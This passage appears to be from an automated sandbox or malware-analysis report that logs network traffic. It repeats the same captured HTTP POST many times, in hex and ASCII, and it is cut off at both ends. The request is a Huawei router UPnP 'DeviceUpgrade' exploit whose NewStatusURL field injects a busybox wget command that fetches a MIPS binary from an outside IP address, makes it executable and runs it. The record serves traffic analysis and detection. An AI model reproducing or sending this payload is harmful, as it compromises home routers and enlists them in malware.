6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 